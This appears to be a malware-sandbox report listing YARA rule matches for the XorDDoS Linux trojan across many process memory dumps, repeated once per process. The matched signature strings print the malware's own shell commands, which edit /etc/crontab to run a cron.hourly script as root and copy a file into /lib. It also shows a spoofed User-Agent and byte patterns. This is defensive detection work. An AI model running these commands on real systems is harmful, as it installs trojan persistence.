6314.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6527.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6527.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6527.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6527.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6440.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6440.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6440.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6440.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6409.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6409.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6409.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6409.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6460.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6460.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6460.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6460.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6299.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6299.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6299.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6299.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6395.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6395.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6395.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6395.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6443.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6443.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6443.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6443.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6412.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6412.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6412.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6412.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6529.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6529.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6529.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6529.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6542.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6542.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6542.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6542.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6328.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6328.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6328.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6328.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6480.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6480.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6480.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6480.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6345.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6345.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6345.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6345.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6387.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6387.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6387.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6387.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6365.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6365.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6365.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6365.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6226.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6226.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6226.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6226.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6438.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6438.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6438.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6438.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6368.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6368.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6368.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6368.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6421.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6421.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6421.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6421.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6472.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6472.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6472.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6472.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6547.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6547.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6547.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6547.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6351.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6351.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6351.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6351.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6302.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
